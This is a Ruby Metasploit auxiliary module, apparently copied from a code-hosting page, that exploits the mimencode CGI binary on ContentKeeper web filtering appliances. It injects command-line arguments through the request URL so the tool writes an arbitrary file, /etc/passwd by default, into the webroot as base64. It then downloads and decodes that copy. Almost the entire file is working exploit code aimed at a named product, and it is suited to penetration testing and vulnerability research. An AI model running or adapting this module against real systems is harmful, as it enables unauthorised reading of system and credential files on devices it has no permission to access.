80 lines
2.4 KiB
Ruby
80 lines
2.4 KiB
Ruby
##
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# $Id: contentkeeper_fileaccess.rb 14288 2011-11-20 02:15:04Z rapid7 $
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Scanner
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def initialize
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super(
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'Name' => 'ContentKeeper Web Appliance mimencode File Access',
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'Version' => '$Revision: 14288 $',
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'Description' => %q{
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This module abuses the 'mimencode' binary present within
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ContentKeeper Web filtering appliances to retrieve arbitrary
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files outside of the webroot.
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},
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'References' =>
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[
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[ 'OSVDB', '54551' ],
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[ 'URL', 'http://www.aushack.com/200904-contentkeeper.txt' ],
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],
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'Author' => [ 'patrick' ],
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'License' => MSF_LICENSE)
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register_options(
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[
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Opt::RPORT(80),
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OptString.new('FILE', [ true, 'The file to traverse for', '/etc/passwd']),
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OptString.new('URL', [ true, 'The path to mimencode', '/cgi-bin/ck/mimencode']),
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], self.class)
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end
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def run_host(ip)
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begin
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tmpfile = Rex::Text.rand_text_alphanumeric(20) # Store the base64 encoded traveral data in a hard-to-brute filename, just in case.
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print_status("Attempting to connect to #{rhost}:#{rport}")
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res = send_request_raw(
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{
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'method' => 'POST',
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'uri' => datastore['URL'] + '?-o+' + '/home/httpd/html/' + tmpfile + '+' + datastore['FILE'],
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}, 25)
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if (res and res.code == 500)
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print_status("Request appears successful on #{rhost}:#{rport}! Response: #{res.code}")
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file = send_request_raw(
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{
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'method' => 'GET',
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'uri' => '/' + tmpfile,
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}, 25)
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if (file and file.code == 200)
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print_status("Request for #{datastore['FILE']} appears to have worked on #{rhost}:#{rport}! Response: #{file.code}\r\n#{Rex::Text.decode_base64(file.body)}")
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elsif (file and file.code)
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print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response: \r\n#{res.body}")
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end
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elsif (res and res.code)
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print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response: \r\n#{res.body}")
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end
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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rescue ::Timeout::Error, ::Errno::EPIPE
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end
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end
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end
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